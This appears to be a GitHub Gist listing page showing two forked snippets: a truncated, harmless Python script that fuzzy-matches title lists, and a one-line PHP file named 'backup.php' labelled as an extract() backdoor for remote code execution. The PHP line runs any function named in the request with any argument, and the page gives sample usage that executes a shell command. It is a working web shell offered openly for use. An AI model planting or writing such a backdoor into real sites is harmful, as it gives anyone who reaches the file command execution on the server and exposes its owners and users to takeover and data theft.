Skip to content

Instantly share code, notes, and snippets.

@virgulvirgul
virgulvirgul / fuzzymatch_titles.py
Created December 15, 2020 15:27 — forked from claczny/fuzzymatch_titles.py
Python code to fuzzy match two files (A and B) of titles to find missing titles in B, i.e., multiplications in A. Not very efficient, but does the job.
from fuzzywuzzy import fuzz
from fuzzywuzzy import process
from collections import Counter
A_title_file = "/tmp/A_titles.txt"
B_title_file = "/tmp/B_titles.txt"
# Open the files and get the titles
A_titles = []
with open(A_title_file) as f:
@virgulvirgul
virgulvirgul / backup.php
Created April 6, 2018 14:11 — forked from leonjza/backup.php
PHP extract() Backdoor RCE | Sample usage: foo.bar/backup.php?ctime=system&atime=ls -lah
<?php extract($_REQUEST); @die($ctime($atime));